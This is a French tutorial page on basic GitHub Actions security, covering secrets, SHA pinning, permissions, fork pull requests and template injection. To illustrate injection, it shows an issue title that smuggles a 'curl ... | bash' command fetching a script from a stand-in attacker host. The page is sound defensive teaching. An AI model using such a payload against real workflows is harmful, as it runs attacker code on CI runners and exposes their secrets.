Aller au contenu
English
English
CI/CD & Automatisation medium

Premiers réflexes de sécurité des workflows GitHub Actions

Read this page in English

40 min de lecture

Vous ne le savez peut-être pas, mais vos workflows GitHub Actions ont accès à vos secrets, peuvent modifier votre code, et déployer en production du code malveillant sans que vous ne vous en rendiez compte. Un workflow mal sécurisé, c'est une porte ouverte pour les attaquants.

Pourquoi la sécurité sur les pipelines CI/CD est importante ?

Section intitulée « Pourquoi la sécurité sur les pipelines CI/CD est importante ? »

Votre pipeline CI/CD est une cible de choix :

Risques du pipeline CI/CD : accès aux secrets, publication de packages,
déploiement en production

Concrètement, votre pipeline :

  • A accès aux secrets : tokens d'API, mots de passe de bases de données, clés de déploiement cloud...
  • Peut publier des packages : sur npm, PyPI, Docker Hub, ou votre registre privé
  • Peut déployer en production : modifier ce qui tourne sur vos serveurs
  • Exécute du code sur des machines : avec potentiellement des accès réseau internes

Un attaquant qui compromet votre pipeline peut faire tout ça à votre place. C'est comme s'il avait les clés de votre infrastructure.

Une attaque supply chain (chaîne d'approvisionnement) ne vous cible pas directement. Elle cible quelque chose que vous utilisez.

Supply chain dans GitHub Actions : actions tierces et dépendances alimentent
votre workflow qui déploie en
production

Vous n'avez pas de faille dans votre code, mais :

  • Une action que vous utilisez est compromise
  • Une dépendance npm que vous installez contient du code malveillant (voir SCA)
  • Une image Docker de base a été modifiée

Voici quelques attaques célèbres sur la supply chain logicielle :

AnnéeAttaqueCe qui s'est passé
2021CodecovUn script de téléchargement modifié volait les secrets CI
2021ua-parser-jsPaquet npm très utilisé, infecté pour miner de la cryptomonnaie
2024xz-utilsPorte dérobée dissimulée dans une bibliothèque de compression Linux
2025tj-actions/changed-filesTags réécrits de v1 à v45, secrets exfiltrés

Ces attaques ont touché des milliers d'entreprises sans qu'elles aient fait d'erreur dans leur propre code.

Voici les 3 risques de sécurité les plus courants dans GitHub Actions :

Qu'est-ce qu'un secret ? Un secret, c'est une information confidentielle dont votre application a besoin pour fonctionner : mot de passe de base de données, clé d'API pour un service externe, token d'accès à un registre Docker... Pensez-y comme les clés de votre maison : si quelqu'un les trouve, il peut entrer.

Pourquoi c'est un problème dans les workflows ? Votre workflow a souvent besoin de ces secrets pour déployer, publier un package ou accéder à un service. Le danger, c'est de les exposer par accident.

Deux erreurs classiques :

# ❌ Erreur 1 : Le secret est écrit en dur dans le code
# Tout le monde peut le lire dans l'historique Git, y compris après suppression
- run: curl -H "Authorization: Bearer sk-123456789"
# ❌ Erreur 2 : Afficher un secret pour « déboguer »
# GitHub masque la valeur exacte, mais rien ne masque ce qu'on en dérive
- run: echo "Debug: ${{ secrets.API_KEY }}"

La bonne pratique tient en deux gestes. Stockez la valeur dans les secrets du dépôt (Settings, puis Secrets), et faites-la entrer dans le step par un bloc env: plutôt qu'en l'interpolant dans la commande. Le premier geste la sort du dépôt ; le second l'empêche de devenir un argument de commande, lisible dans la liste des processus du runner.

# ✅ Le secret est dans le coffre GitHub, et passe par l'environnement du step
- run: curl -H "Authorization: Bearer $API_KEY" https://api.interne.lan/v1/deploy
env:
API_KEY: ${{ secrets.API_KEY }}

Qu'est-ce qu'une action ? Une action GitHub, c'est un bout de code réutilisable que quelqu'un a publié. Au lieu de réécrire la logique pour "checkout le code" ou "publier sur npm", vous utilisez une action existante avec uses:.

Pourquoi c'est pratique ? Ça évite de réinventer la roue. La communauté a créé des milliers d'actions pour tout : déployer sur AWS, envoyer une notification Slack, analyser du code...

Pourquoi c'est risqué ? Quand vous écrivez quelquun/super-action@v1 derrière uses:, vous exécutez du code écrit par un inconnu sur vos runners. Ce code a accès à tout ce que votre workflow peut faire, y compris lire vos secrets.

C'est comme inviter un inconnu chez vous et lui donner vos clés. Peut-être qu'il est de confiance... ou peut-être pas.

# ❌ Questions à se poser avant de copier ce step :
# - Qui est "random-user" ? Une entreprise ? Un particulier ?
# - Que fait vraiment cette action ? Ai-je lu le code ?
# - Est-elle maintenue ? Dernière mise à jour il y a 3 ans ?
- uses: random-user/deploy-magic@v1 # ❌ auteur inconnu, tag mutable
with:
token: ${{ secrets.DEPLOY_KEY }} # On lui donne nos clés !

La bonne pratique : n'utilisez que des actions de sources fiables (GitHub, grandes entreprises, projets populaires) et épinglez-les par SHA pour éviter les modifications surprises (détaillé plus bas).

Qu'est-ce qu'une pull request (PR) ? Une PR, c'est une proposition de modification du code. Sur un projet open source, n'importe qui peut forker le repo (en faire une copie), modifier le code, puis proposer ses changements via une PR.

Pourquoi c'est un vecteur d'attaque ? Par défaut, quand quelqu'un ouvre une PR, les workflows du repo s'exécutent pour tester le code proposé. Un attaquant peut donc :

  1. Forker votre repo (créer sa propre copie)
  2. Modifier le workflow pour qu'il affiche ou envoie vos secrets quelque part
  3. Ouvrir une PR vers votre repo
  4. Récupérer vos secrets quand le workflow s'exécute

Attaque via Pull Request : l'attaquant fork, modifie le workflow, ouvre une PR
et récupère les secrets

La bonne nouvelle : GitHub a prévu le coup. Par défaut, les workflows déclenchés par des PRs venant de forks n'ont pas accès aux secrets. L'attaquant peut modifier le workflow, mais il ne récupérera rien.

La règle d'or : ne désactivez jamais cette protection, et méfiez-vous de pull_request_target qui contourne cette sécurité (on en reparle dans la section avancée).

Pour sécuriser vos workflows GitHub Actions, adoptez ces 6 réflexes simples :

Avant d'ajouter une nouvelle action, demandez-vous :

  • Qui l'a créée ? (GitHub, entreprise connue, inconnu ?)
  • Est-elle maintenue ? (dernière mise à jour récente ?)
  • Combien de personnes l'utilisent ? (populaire = plus d'yeux dessus)
  • Ai-je vraiment besoin d'une action ? (parfois un run: suffit)

Le problème des tags (@v1, @latest) : ils peuvent changer.

# ❌ Si quelqu'un modifie ce que pointe "v4", votre workflow change
- uses: actions/checkout@v4
# ✅ Le SHA est immuable - personne ne peut le modifier
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

Le SHA, cette longue chaîne hexadécimale, désigne un état exact du code. Même si le compte du mainteneur est compromis et que les tags sont réécrits, votre workflow continue d'exécuter la révision que vous avez vérifiée : un commit déjà publié ne se modifie pas.

  1. Allez sur le repository de l'action (ex: github.com/actions/checkout)
  2. Cliquez sur "Releases"
  3. Trouvez la version souhaitée
  4. Copiez le SHA du commit

Ou utilisez pin-github-action pour le faire automatiquement :

Fenêtre de terminal
npx pin-github-action .github/workflows/ci.yml

Par défaut, appliquez le principe de moindre privilège :

# ✅ Permissions explicites et minimales
permissions:
contents: read # Juste lire le code, pas le modifier
jobs:
test:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- run: npm test

Si votre workflow est compromis et qu'il n'a que contents: read, l'attaquant ne peut pas modifier votre code.

Cela paraît évident, et c'est pourtant l'erreur la plus fréquente. Un secret vit dans le coffre du dépôt (Settings, puis Secrets and variables, puis Actions), jamais dans le code, pas même « le temps d'un test » : l'historique Git conserve la valeur même après suppression du fichier.

# ❌ JAMAIS - le secret est visible dans l'historique Git pour toujours
env:
API_KEY: "sk-1234567890abcdef"
# ✅ Le secret est stocké dans GitHub, référencé par son nom
env:
API_KEY: ${{ secrets.API_KEY }}

Même si vous supprimez le commit, il reste dans l'historique. Si vous avez commis un secret par erreur, considérez-le comme compromis et régénérez-le immédiatement.

C'est le comportement par défaut de GitHub, ne le changez pas :

on:
pull_request: # ✅ Pas d'accès aux secrets pour les forks
# DANGEREUX : pull_request_target donne accès aux secrets
# Ne l'utilisez pas sans comprendre les risques

6. Ne pas insérer de données non fiables dans vos scripts

Section intitulée « 6. Ne pas insérer de données non fiables dans vos scripts »

Le titre d'une issue, le corps d'une PR, un message de commit : ce sont des données contrôlées par l'extérieur. Les insérer directement avec ${{ }} dans un bloc run: permet à un attaquant d'exécuter ses propres commandes sur votre runner, c'est l'injection de template, la faille la plus courante dans GitHub Actions.

# ❌ Le titre de l'issue est injecté tel quel dans le shell
- run: echo "Nouvelle issue ${{ github.event.issue.title }}"
# ✅ La donnée passe par une variable d'environnement
- run: echo "Nouvelle issue $ISSUE_TITLE"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}

Un titre d'issue tel que "; curl depot-pirate.example/s.sh | bash # serait collé dans le script par la première forme, donc exécuté par le runner avec ses droits. Dans la seconde, la même valeur arrive par l'environnement : elle reste une chaîne de caractères que le shell ne réinterprète pas.

Avant de mettre un workflow en production :

Secrets et permissions :

  • Pas de secrets dans le code, utilisez ${{ secrets.* }}
  • Pas d'injection, données externes passées via env:, jamais interpolées directement dans run:
  • Permissions déclarées, permissions: en haut du workflow avec le minimum nécessaire
  • Pas de permissions: write-all, listez uniquement ce dont vous avez besoin

Actions et dépendances :

  • Actions vérifiées, de source connue et maintenue
  • Orthographe vérifiée, pas de typosquatting (actions/checkout et non action/checkout)
  • Évaluer les dépendances, utilisez OpenSSF Scorecard pour vérifier la maturité sécurité des projets
  • Actions épinglées par SHA, pas de @v1 ou @latest

Pull requests :

  • Pas de pull_request_target, sauf si vous comprenez les risques
  • Approbation requise, pour les workflows sur PR de contributeurs externes

Bonnes pratiques avancées :

  • Dependabot activé, pour les mises à jour automatiques des actions
  • Branch protection, exiger des reviews et des checks avant merge
  • Audit régulier, vérifier périodiquement les actions utilisées

Cette page couvre les fondamentaux, c'est-à-dire ce qui protège contre les attaques les plus courantes. Le module sécurité de la formation va plus loin : authentification par OIDC, attestations de provenance, isolation des runners auto-hébergés.

Cela fait beaucoup d'un coup, et ce n'est pas grave : ces réflexes s'acquièrent en les appliquant, pas en les mémorisant. Retenez au moins les trois qui comptent, épingler par SHA, restreindre les permissions, faire passer les données externes par env:. Ils couvrent l'essentiel des cas réels.

On passe à la suite ! La gestion des secrets dans GitHub vous attend.

Si les questions ne vous ont pas mis en difficulté, les bases sont acquises. La leçon suivante traite le sujet que cette page n'a fait qu'effleurer, le stockage et la transmission des valeurs sensibles : la gestion des secrets dans GitHub.

Vérifiez que l'essentiel de ce guide est acquis. Les questions portent uniquement sur ce qui vient d'être expliqué ici.

Contrôle de connaissances

Validez vos connaissances avec ce quiz interactif

6 questions
6 min.
70% requis

Informations

  • Le chronomètre démarre au clic sur Démarrer
  • Questions à choix multiples, vrai/faux et réponses courtes
  • Vous pouvez naviguer entre les questions
  • Les résultats détaillés sont affichés à la fin

Lance le quiz et démarre le chronomètre

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens ce site gratuitement, sans publicité, sans profilage et sans compte à créer. Un soutien, même symbolique, m'aide à couvrir l'hébergement et à garder ces ressources gratuites. Merci pour votre appui.

Le formulaire ne s'affiche pas ? Ouvrir Ko-fi dans un onglet.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn